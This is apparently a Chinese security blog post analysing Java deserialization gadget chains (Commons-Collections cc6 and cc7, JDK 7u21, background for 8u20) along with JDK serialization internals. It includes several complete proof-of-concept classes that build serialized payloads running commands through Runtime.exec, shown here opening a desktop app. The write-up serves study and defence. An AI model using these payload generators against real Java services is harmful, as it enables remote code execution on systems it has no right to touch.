HashMap版PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public class HashMap_Exploit { public static void main(String [] args) throws Exception{ Transformer[] transformers_exec = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String .class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class, Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String .class},new Object []{"open /Applications/Calculator.app" }) }; Transformer chain = new ChainedTransformer (transformers_exec); HashMap innerMap = new HashMap (); Map lazyMap = LazyMap.decorate(innerMap,chain); TiedMapEntry tmap = new TiedMapEntry (lazyMap, 123 ); HashMap hashMap = new HashMap (); hashMap.put(tmap, "test" ); lazyMap.remove("123" ); ObjectOutputStream fout = new ObjectOutputStream (new FileOutputStream (new File (System.getProperty("user.dir" )+"/src/main/resources/Payload_cc6_HashMap.ser" ))); fout.writeObject(hashMap); ObjectInputStream fin = new ObjectInputStream (new FileInputStream (new File (System.getProperty("user.dir" )+"/src/main/resources/Payload_cc6_HashMap.ser" ))); fin.readObject(); } }
fake chain版PoC 既然现在来到了如何绕过put方法的提前执行,可以在构造LazyMap方法的时候穿进去一个空的chain,之后再利用反射将lazymap内部的_itransformer
属性改回到真正的chain,这样就可以只最终的反序列化触发点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public class fackchain_Exploit { public static void main (String[] args) throws Exception { Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/IINA.app"}) }; Transformer[] fakeTransformer = new Transformer[]{}; Transformer chain = new ChainedTransformer(fakeTransformer); HashMap innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap,chain); TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123 ); HashMap hashMap = new HashMap(); hashMap.put(tmap, "test" ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true ); f.set(chain, transformers_exec); lazyMap.clear(); ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc6_fakechain.ser" ))); fout.writeObject(hashMap); ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc6_fakechain.ser" ))); fin.readObject(); } }
HashSet版PoC 在HashMap的hash中,k目前还是不可控的,所以还需要找哪些函数调用了hash函数,发现HashMap自己的put方法调用了:
然而这里的key还是不可控的,所以我们要找哪里调用了put方法,发现HashSet的readObject很合适:
HashSet的底层其实还是HashMap类,我们需要让HashSet的map属性为HashMap,显然可控。
最终版本PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public class HashSet_Exploit { public static void main (String[] args) throws Exception { Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/IINA.app"}) }; Transformer chain = new ChainedTransformer(transformers_exec); HashMap innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap,chain); TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123 ); HashSet hashset = new HashSet(1 ); hashset.add("0range" ); Field map = Class.forName("java.util.HashSet" ).getDeclaredField("map" ); map.setAccessible(true ); HashMap hashset_map = (HashMap) map.get(hashset); Field table = Class.forName("java.util.HashMap" ).getDeclaredField("table" ); table.setAccessible(true ); Object[] array = (Object[])table.get(hashset_map); Object node = array[0 ]; Field key = node.getClass().getDeclaredField("key" ); key.setAccessible(true ); key.set(node,tmap); ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc6_HashSet.ser" ))); fout.writeObject(hashset); ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc6_HashSet.ser" ))); fin.readObject(); } }
既然中间用到了LazyMap,那么又可以复用,InstantiateTransformer和TemplatesImpl,PoC就不粘在这里了,可以去看我的github 。
cc7 条件:
利用链寻找 cc7的想法依然是寻找LazyMap.get()的触发点。
cc7的后半段和cc1的lazymap版本一样,触发点选择到了AbstractMap的equals方法来触发对LazyMap的get方法的调用:
这里如果m是可控的,那么可以设置m为LazyMap,这样就可以触发调用链的后半部分。
这里要寻找哪里调用了equals方法,ysoserial找到了HashTable的reconstitutionPut方法:
这里面e是参数tab的索引,如果e.key是AbstractMap,那么就可以调用AbstractMap.equals方法。
现在问题来到了,如何才能触发reconstitutionPut方法呢?
我们发现在HashTable的readObject方法里面就调用了reconstitutionPut方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); .... for (; elements > 0 ; elements--) { K key = (K)s.readObject(); V value = (V)s.readObject(); reconstitutionPut(table, key, value); } this .table = newTable; }
再看reconstitutionPut方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private void reconstitutionPut (Entry<K,V>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java.io.StreamCorruptedException(); } int hash = hash(key); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } Entry<K,V> e = tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; }
现在我们跟着reconstitutionPut走,reconstitutionPut方法有三个参数:
table,key,value(后面这两个是流操作,看过writeObject就知道是hashtable自己的key和value属性)
跟进去reconstitutionPut:
我们当然希望走的是AbstractMap类的equals方法,并且保证参数key是LazyMap类型,这样就可以走上LazyMap.get这条熟悉的道路了。
AbstractMap类是一个抽象类,他实现了Map接口中的equals方法。
HashMap是AbsrtactMap的实现类,他没有重写equals方法,所以如果是HashMap#equals方法,其实走的是AbstractMap的equals方法。
也就是说,如果e.key
是HashMap,参数(key)
是LazyMap,是可以走得通的。
但是怎么才能走到这个判断呢,需要先保证前半部分e.hash == hash
,其实在String.equals()方法中存在hash碰撞。
1 2 3 String a = "yy" ; String b = "zZ" ; a.hashcode() == b.hashcode();
大家不要忘了,要想走到这里,最外层还有一个e!=null
条件。
tab就是table属性,table是Hashtable用来存放entry的数组,初始状态就算有长度也是null占位。
所以我们要像进入if,需要e!=null
成立。
需要先有一个lazymap进来,将table属性赋值、还有将hash值改成自己的参数,等后续第二个进来的lazymap再触发。
第二个进来的lazymap,才会符合e不为空,将自己的hash和e.hash比较。(用yy和zZ绕过)
进入e.key.equals(key),e.key就是第一次进来的lazymap,参数key就是第二次进来的lazymap的innermap。
还有个细节,在第二次进入后,会进入lazymap2.equals(innermap2)
equals方法属于HashMap的父类AbstractMap,对于这部分来说,
LazyMap继承了AbstractMapDecorator的map属性,是Map接口,所以当构造函数的参数是HashMap类型,自然就是LazyMap的map属性自然就是HashMap类型了。
但是HashMap并没有equals方法,实际上走的是父类AbstractMap#equals方法:
最终版本PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public class HashTable_Exploit { public static void main (String[] args) throws Exception { Transformer[] fakeTransformer = new Transformer[]{}; Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/IINA.app"}) }; Transformer fakeChain = new ChainedTransformer(fakeTransformer); Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1,fakeChain); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2,fakeChain); lazyMap2.put("zZ" , 1 ); Hashtable hashTable = new Hashtable(); hashTable.put(lazyMap1, "0range" ); hashTable.put(lazyMap2, "0range" ); Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true ); field.set(fakeChain, transformers_exec); lazyMap2.remove("yy" ); ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc6_TemplatesImpl_HashTable.ser" ))); fout.writeObject(hashTable); ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc6_TemplatesImpl_HashTable.ser" ))); fin.readObject(); } }
为什么需要remove掉第二次的lazymap?
因为Hashtable的put方法里面也调用了equals方法:
会导致LazyMap2中右增加了(“yy“,”yy“)这个键值对,会影响当前lazymap2的size不再是1,而是2
导致在第二次进入的时候倒在了size的判断上。
当然既然还是扯到LazyMap,当然可以复用之前的InstantiateTransformer,
具体可以看我的github 。
CC链总结 五大反序列化利用基类:
1.AnnotationInvocationHandler:反序列化的时候会循环调用成员变量的get方法,用来和lazyMap配合使用。
2.PriorityQueue:反序列化的时候会调用TransformingComparator中的transformer的transform方法,用来直接和Transformer配合使用。
3.BadAttributeValueExpException:反序列化的时候会去调用成员变量val的toString函数,用来和TiedMapEntry配合使用。(TiedMapEntry的toString函数会再去调自身的getValue)。
4.HashSet:反序列化的时候会去循环调用自身map中的put方法,用来和HashMap配合使用。
5.Hashtable:当里面包含2个及以上的map的时候,回去循环调用map的get方法,用来和LazyMap配合使用。
四大Transformer的transform:
1.ChainedTransformer:循环调用成员变量iTransformers数组中的tranform方法。
2.InvokerTransformer: 通过反射的方法调用传入transform方法中的input对象的方法(方法通过成员变量iMethodName设置,参数通过成员变量iParamTypes设置)
3.ConstantTransformer:返回成员变量iConstant的值。
4.InstantiateTransformer:通过反射的方法返回传入参数input的实例。(构造函数的参数通过成员变量iArgs传入,参数类型通过成员变量iParamTypes传入)
三大Map:
1.LazyMap:通过调用LazyMap的get方法可以触发它的成员变量factory的tranform方法,用来和上一节中的Tranformer配合使用。
2.TiedMapEntry:通过调用TiedMapEntry的getValue方法实现对他的成员变量map的get方法的调用,用来和LazyMap配合使用。
3.HashMap:通过调用HashMap的put方法实现对成员变量hashCode方法的调用,用来和TiedMapEntry配合使用(TiedMapEntry的hashCode函数会再去调自身的getValue)。
7u21 条件:
这是一条十分有个性的链,因为它仅依赖jre,不依赖任何第三方库。
先说个小tip:神奇的f5a5a608
1 System.out.println("f5a5a608" .hashCode()); == 0
利用链构造 用到了AnnotationInvocationHandler作为动态代理来触发cc2里面的TemplatesImpl携带恶意_bytecode,执行静态代码块加载。
前情回顾:
TemplatesImpl 类可被序列化,并且其内部名为 _bytecodes 的成员可以用来存储某个 class 的字节数据
通过 TemplatesImpl 类的 getOutputProperties 方法 / newTransformer方法 ,可以最终导致 _bytecodes 所存储的字节数据被转换成为一个 Class(通过 ClassLoader.defineClass),并实例化此 Class,导致 Class 的构造方法/静态代码块中的代码被执行。
光有链还是不够的,需要找个readObject的承接点,让这条链和反序列化入口点连接起来
7u21选择的入口点是LinkedHashSet的readObject方法,实际上是父类HashSet的readObject方法:
这里面的e就是反序列化后的对象。
为什么选择HashMap呢?是因为它有个神奇的equals方法
开启支线任务:
这里先进入AnnotationInvocationHandler的invoke方法看看:
这里如果调用的方法名称是equals,并且参数个数和类型匹配,就会进入equalsImpl方法
看一看equalsImpl方法:
到这里,梳理一下:
我们就在jdk里面找到了一个原生类AnnotationInvocationHandler,他可以充当动态代理,他的invoke方法会调用了本身的equalsImpl方法,在equalsImpl内部又会调用自身memberValues属性的get方法。
之前我们是将this.mamberValues赋值为LazyMap,但是现在我们需要找到一个jdk原生类。
发现下面还有一个invoke方法
ysoserial的思路肯定也是盯着哪些类有equals方法,我们的动态代理只要在之后去invoke这个equals方法就可以了。
世界线收束:
在我们之前发现的HashMap的put方法中,就会调用key的equals方法。
能到这里需要的条件:
e.hash == hash
e.key == key
首先会调用内部 hash()
函数计算 key 的 hash 值,然后遍历所有元素,*当要插入的元素的 hash 和已有 entry 相同,且 key 和 Entry的 key 指向同一个对象 或 二者equals时 * ,则认为 key 是否已经存在,返回 oldValue,否则调用 addEntry()
添加元素。
这里核心关键点就是让key指向的是我们通过动态代理生成的Proxy对象,我们知道调用Proxy对象的任何方法,本质上都是在调用InvokcationHandler对象中被重写的invoke方法。因为生成Proxy对象时传入的参数是InvokcationHandler的子类AnnotationInvocationHandler,所以自然要调用AnnotationInvocationHandler.invoke()方法。
这里有几个细节:
首先需要保证我们传入携带动态代理的key之前,map里面就已经有一个entry了,才能保证e不为null,进入循环
第一个entry应该为Templates对象
为了保证有有序添加,所以我们才用LinkedHashSet
这里先看一下限制条件:
e.hash == hash
这个需要保证的是两个hash值相等,hash值就是hash()
值相等
想到我们之前的提到的神奇的f5a5a608
,它的hashcode()==0
看一下hash()源码:
这里其实结果只受k.hashcode()的影响。
对于普通的obj来说,这里k就是本身
对于一个代理类来说,统一调用invoke方法。如果当前的k是AnnotationInvocationHandler类,那么调用的就是AnnotationInvocationHandler类内部的hashCodeImpl()方法
跟进memberValueHashCode方法再看看:
改写一下就是:
1 ( 127 * key.hashCode() ) ^ value.hashCode()
两个hash:
TemplatesImpl实例.hashCode()
( 127 * key.hashCode() ) ^ TemplatesImpl实例.hashCode()
我们希望key就是f5a5a608
,这样的话返回值就是TemplatesImpl实例.hashCode()了,就可以绕过e.hash == hash
的check了。
细节:
可以看到hashCodeImpl()内部是有一个循环的,为了让最后的结果和value.hashCode()相同,我们希望memberValues只有一个entry,再put一个相同的key就行了,为了让tmpl和第一次的一样。
我们这里只需要让memberValue这个属性里面存放一个HashMap就行了,这个map的key是f5a5a608
,value是包含恶意字节码的TemplatesImpl对象就行了
最终PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 public class Exploit { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class )) ; CtClass tempExploitClass = pool.makeClass("3xpl01t" ); tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class .getName ())) ; String cmd = "java.lang.Runtime.getRuntime().exec(\"open /Applications/IINA.app\");" ; tempExploitClass.makeClassInitializer().insertBefore(cmd); byte [] exploitBytes = tempExploitClass.toBytecode(); TemplatesImpl tmpl = new TemplatesImpl(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true ); bytecodes.set(tmpl, new byte [][]{exploitBytes}); Field _name = TemplatesImpl.class.getDeclaredField("_name"); _name.setAccessible(true ); _name.set(tmpl, "0range" ); Field _class = TemplatesImpl.class.getDeclaredField("_class"); _class.setAccessible(true ); _class.set(tmpl, null ); Map map = new HashMap(2 ); String magicStr = "f5a5a608" ; map.put(magicStr, tmpl); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor cons = clazz.getDeclaredConstructor(Class.class ,Map .class ) ; cons.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) cons.newInstance(Templates.class , map ) ; Templates proxy = (Templates) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), new Class[]{Templates.class}, invocationHandler); HashSet target = new LinkedHashSet(); target.add(tmpl); target.add(proxy); ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_jdk7u21.ser" ))); fout.writeObject(target); ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_jdk7u21.ser" ))); fin.readObject(); } }
8u20 环境:
7u21修复 在说8u20之前,说一下7u21的修复,修复前后的readObject对比:
在8u20中使用BeanContextSupport
类对这个修补方式进行了绕过。
基础知识补充A: 序列化 整个例子
在ObjectOutputStream位置下个断点
跟进去看,构造函数就做了很多事情,会来到writeStreamHeader方法:
写入了aced0005
接下来看下out.writeObject(object)
是怎么写入数据的?
会先解析class结构,判断是否实现了Serializable接口,是的话执行writeOrdinaryObject
方法
看下图,首先写入TC_OBJECT,
常量TC_OBJECT
的值是(byte)0x73
,之后调用writeClassDesc
方法写入类描述符,然后会调用到writeNonProxyDesc
方法
进入writeNonProxyDesc方法,
写入TC_CLASSDESC
的值是0x72,然后进入writeNonProxy方法
跟进去看看getSerialVersionID
是做什么的,看下图可以发现,默认获取对象的serialVersionUID
值,如果对象serialVersionUID
的值为空则会计算出一个serialVersionUID
的值
返回writeNonProxy方法看看之后做了什么事情:
回到writeNonProxyDesc方法
可以看到在对当前对象的序列化之后,进行了对父类对象的序列化,写入父类的class结构信息。
到这里子类和父类的class都写完了。
接下来回到代码,接下来会进入writeSerialData写入对象的属性值。
进入可以看到slots存放的是对象数组,先是父类,然后才是子类对象:
这里梳理一下流程:
1 2 3 序列化类结构信息: 子类 - > 父类 序列化对象信息: 父类 - > 子类
基础知识补充B: 反序列化与构造函数 和Safe6师傅讨论修复时候发现,ObjectInputStream对象输入流对象(implements Serializable)在参与反序列化的过程中,对象会被实例化,但是并不会触发自身的构造函数,而是触发距离最近的,未实现Serializable接口的父类的无参构造函数。
我们深入跟进一次反序列化过程:
可以发现对象在实例化过程中,有一个神秘的ConstructorAccessor
帮助我们实例化了对象。
ca的实际类型是GeneratedSerializationConstructorAccessor2
,熟悉的ASM味道,不对劲。
它是怎么产生的?
跟进去一次readObject:
1 2 3 readObject readObject0 readOrdinaryObject
我们放大readOrdinaryObject
方法,具体看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 private Object readOrdinaryObject(boolean unshared) throws IOException { if (bin.readByte() != TC_OBJECT) { throw new InternalError(); } ObjectStreamClass desc = readClassDesc(false ); desc .checkDeserialize(); Class<?> cl = desc .forClass(); if (cl == String.class || cl == Class .class || cl == ObjectStreamClass .class ) { throw new InvalidClassException("invalid class descriptor" ); } Object obj; try { obj = desc .isInstantiable() ? desc .newInstance() : null ; } catch (Exception ex) { throw (IOException) new InvalidClassException( desc .forClass().getName(), "unable to create instance" ).initCause(ex); } passHandle = handles.assign(unshared ? unsharedMarker : obj); ClassNotFoundException resolveEx = desc .getResolveException(); if (resolveEx != null ) { handles.markException(passHandle, resolveEx); } if (desc .isExternalizable()) { readExternalData((Externalizable) obj, desc ); } else { readSerialData(obj, desc ); } handles.finish(passHandle); if (obj != null && handles.lookupException(passHandle) == null && desc .hasReadResolveMethod()) { Object rep = desc .invokeReadResolve(obj); if (unshared && rep.getClass().isArray()) { rep = cloneArray(rep); } if (rep != obj) { if (rep != null ) { if (rep.getClass().isArray()) { filterCheck(rep.getClass(), Array.getLength(rep)); } else { filterCheck(rep.getClass(), -1 ); } } handles.setObject(passHandle, obj = rep); } } return obj; }
反序列化的核心:四步走 1 2 3 4 ObjectStreamClass desc = readClassDesc(false ); desc.checkDeserialize(); obj = desc.isInstantiable() ? desc.newInstance() : null ; readSerialData(obj, desc);
第一步 进入第一步:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private ObjectStreamClass readClassDesc (boolean unshared) throws IOException { byte tc = bin.peekByte(); ObjectStreamClass descriptor; switch (tc) { case TC_NULL: descriptor = (ObjectStreamClass) readNull(); break ; case TC_REFERENCE: descriptor = (ObjectStreamClass) readHandle(unshared); break ; case TC_PROXYCLASSDESC: descriptor = readProxyDesc(unshared); break ; case TC_CLASSDESC: descriptor = readNonProxyDesc(unshared); break ; default : throw new StreamCorruptedException( String.format("invalid type code: %02X" , tc)); } if (descriptor != null ) { validateDescriptor(descriptor); } return descriptor; }
进入readNonProxyDesc
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 private ObjectStreamClass readNonProxyDesc (boolean unshared) throws IOException { if (bin.readByte() != TC_CLASSDESC) { throw new InternalError(); } ObjectStreamClass desc = new ObjectStreamClass(); int descHandle = handles.assign(unshared ? unsharedMarker : desc); passHandle = NULL_HANDLE; ObjectStreamClass readDesc = null ; try { readDesc = readClassDescriptor(); } catch (ClassNotFoundException ex) { throw (IOException) new InvalidClassException( "failed to read class descriptor" ).initCause(ex); } Class<?> cl = null ; ClassNotFoundException resolveEx = null ; bin.setBlockDataMode(true ); final boolean checksRequired = isCustomSubclass(); try { if ((cl = resolveClass(readDesc)) == null ) { resolveEx = new ClassNotFoundException("null class" ); } else if (checksRequired) { ReflectUtil.checkPackageAccess(cl); } } catch (ClassNotFoundException ex) { resolveEx = ex; } filterCheck(cl, -1 ); skipCustomData(); try { totalObjectRefs++; depth++; desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(false )); } finally { depth--; } handles.finish(descHandle); passHandle = descHandle; return desc; }
继续看initNonProxy
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 void initNonProxy (ObjectStreamClass model, Class<?> cl, ClassNotFoundException resolveEx, ObjectStreamClass superDesc) throws InvalidClassException { long suid = Long.valueOf(model.getSerialVersionUID()); ObjectStreamClass osc = null ; if (cl != null ) { osc = lookup(cl, true ); ... if (!model.isEnum) { if ((model.serializable == osc.serializable) && (model.externalizable != osc.externalizable)) { throw new InvalidClassException(osc.name, "Serializable incompatible with Externalizable" ); } if ((model.serializable != osc.serializable) || (model.externalizable != osc.externalizable) || !(model.serializable || model.externalizable)) { deserializeEx = new ExceptionInfo( osc.name, "class invalid for deserialization" ); } } } this .cl = cl; this .resolveEx = resolveEx; this .superDesc = superDesc; name = model.name; this .suid = suid; isProxy = false ; isEnum = model.isEnum; serializable = model.serializable; externalizable = model.externalizable; hasBlockExternalData = model.hasBlockExternalData; hasWriteObjectData = model.hasWriteObjectData; fields = model.fields; primDataSize = model.primDataSize; numObjFields = model.numObjFields; if (osc != null ) { localDesc = osc; writeObjectMethod = localDesc.writeObjectMethod; readObjectMethod = localDesc.readObjectMethod; readObjectNoDataMethod = localDesc.readObjectNoDataMethod; writeReplaceMethod = localDesc.writeReplaceMethod; readResolveMethod = localDesc.readResolveMethod; if (deserializeEx == null ) { deserializeEx = localDesc.deserializeEx; } domains = localDesc.domains; cons = localDesc.cons; } fieldRefl = getReflector(fields, localDesc); fields = fieldRefl.getFields(); initialized = true ; }
继续看lookup
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 static ObjectStreamClass lookup (Class<?> cl, boolean all) { if (!(all || Serializable.class .isAssignableFrom (cl ))) { return null ; } processQueue(Caches.localDescsQueue, Caches.localDescs); WeakClassKey key = new WeakClassKey(cl, Caches.localDescsQueue); Reference<?> ref = Caches.localDescs.get(key); Object entry = null ; if (ref != null ) { entry = ref.get(); } ... if (entry == null ) { try { entry = new ObjectStreamClass(cl); } catch (Throwable th) { entry = th; } if (future.set(entry)) { Caches.localDescs.put(key, new SoftReference<Object>(entry)); } else { entry = future.get(); } } if (entry instanceof ObjectStreamClass) { return (ObjectStreamClass) entry; } else if (entry instanceof RuntimeException) { throw (RuntimeException) entry; } else if (entry instanceof Error) { throw (Error) entry; } else { throw new InternalError("unexpected entry: " + entry); } }
进入ObjectStreamClass()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 private ObjectStreamClass (final Class<?> cl) { this .cl = cl; name = cl.getName(); isProxy = Proxy.isProxyClass(cl); isEnum = Enum.class .isAssignableFrom (cl ) ; serializable = Serializable.class .isAssignableFrom (cl ) ; externalizable = Externalizable.class .isAssignableFrom (cl ) ; Class<?> superCl = cl.getSuperclass(); superDesc = (superCl != null ) ? lookup(superCl, false ) : null ; localDesc = this ; if (serializable) { AccessController.doPrivileged(new PrivilegedAction<Void>() { public Void run () { ... if (externalizable) { cons = getExternalizableConstructor(cl); } else { cons = getSerializableConstructor(cl); writeObjectMethod = getPrivateMethod(cl, "writeObject" , new Class<?>[] { ObjectOutputStream.class }, Void .TYPE ) ; readObjectMethod = getPrivateMethod(cl, "readObject" , new Class<?>[] { ObjectInputStream.class }, Void .TYPE ) ; readObjectNoDataMethod = getPrivateMethod( cl, "readObjectNoData" , null , Void.TYPE); hasWriteObjectData = (writeObjectMethod != null ); } domains = getProtectionDomains(cons, cl); writeReplaceMethod = getInheritableMethod( cl, "writeReplace" , null , Object.class ) ; readResolveMethod = getInheritableMethod( cl, "readResolve" , null , Object.class ) ; return null ; } }); ... }
进入getSerializableConstructor()
方法中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private static Constructor<?> getSerializableConstructor(Class<?> cl) { Class<?> initCl = cl; while (Serializable.class .isAssignableFrom (initCl )) { Class<?> prev = initCl; if ((initCl = initCl.getSuperclass()) == null || (!disableSerialConstructorChecks && !superHasAccessibleConstructor(prev))) { return null ; } } try { Constructor<?> cons = initCl.getDeclaredConstructor((Class<?>[]) null ); int mods = cons.getModifiers(); if ((mods & Modifier.PRIVATE) != 0 || ((mods & (Modifier.PUBLIC | Modifier.PROTECTED)) == 0 && !packageEquals(cl, initCl))) { return null ; } cons = reflFactory.newConstructorForSerialization(cl, cons); cons.setAccessible(true ); return cons; } catch (NoSuchMethodException ex) { return null ; } }
重点在第三步:
newConstructorForSerialization:
发现调用generateSerializationConstructor:
继续generate:
降维打击,扑面而来的ASM气息。
简单来说,父类的无参构造器作为入参,重新创建一个包含该构造器的新构造器并返回,这个新构造器就是后续的cons 。
这个新构造器一旦cons.newInstance(),不需要执行当前类(子类)的构造函数就可以进行当前类(子类)对象的创建,核心原理是反射。
第三步 进入第三句:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 Object newInstance () throws InstantiationException, InvocationTargetException, UnsupportedOperationException { requireInitialized(); if (cons != null ) { try { if (domains == null || domains.length == 0 ) { return cons.newInstance(); } else { JavaSecurityAccess jsa = SharedSecrets.getJavaSecurityAccess(); PrivilegedAction<?> pea = () -> { try { return cons.newInstance(); } catch (InstantiationException | InvocationTargetException | IllegalAccessException x) { throw new UndeclaredThrowableException(x); } }; try { return jsa.doIntersectionPrivilege(pea, AccessController.getContext(), new AccessControlContext(domains)); } catch (UndeclaredThrowableException x) { Throwable cause = x.getCause(); if (cause instanceof InstantiationException) throw (InstantiationException) cause; if (cause instanceof InvocationTargetException) throw (InvocationTargetException) cause; if (cause instanceof IllegalAccessException) throw (IllegalAccessException) cause; throw x; } } } catch (IllegalAccessException ex) { throw new InternalError(ex); } } else { throw new UnsupportedOperationException(); } }
关于cons.newInstance();
:
如果反序列化类实现了Externalizable接口,则这里调用的就是权限为public的无参构造函数;
如果反序列化类实现了Serializable接口,则这里调用的就是第一个没有实现serializable接口的父类的无参构造器。
因此,如果Serializable,反序列化对象,不会调用其构造函数,但会调用其父对象的默认无参构造函数。
参考:
Java反序列化时是否通过默认构造函数创建对象?
Java Serialization interview questions
java魔法类之ReflectionFactory介绍
How are constructors called during serialization and deserialization?
利用链构造 切回正题
这里我们先看一下8u20下AnnotationInvocationHandler类的readObject方法
两步骤:
先执行var1.defaultReadObject()来还原对象,从流里还原对象
检查this.type进行了是否为注解类,如果不是的话就报错
注意AnnotationInvocationHandler 这个对象是先被成功还原 ,然后再抛出的异常。绕过就是利用了这一点。
这里compare一下jdk7u21
的修复方式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { return ; } AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream" ); }
注意AnnotationInvocationHandler 这个对象是先被成功还原 ,然后再抛出的异常。
readObject & defaultReadObject 这里简单提一下这两个序列化流程中的重点函数:
参考这篇
根据 oracle 官方定义的 Java 中可序列化对象流的原则:
如果一个类中定义了readObject
方法,那么这个方法将会取代默认序列化机制中的方法读取对象的状态,
可选的信息 可依靠这些方法读取,而必选数据部分 要依赖defaultReadObject
方法读取;
我们看AnnotationInvocationHandler的readObject方法。
第一行就调用了defaultReadObject
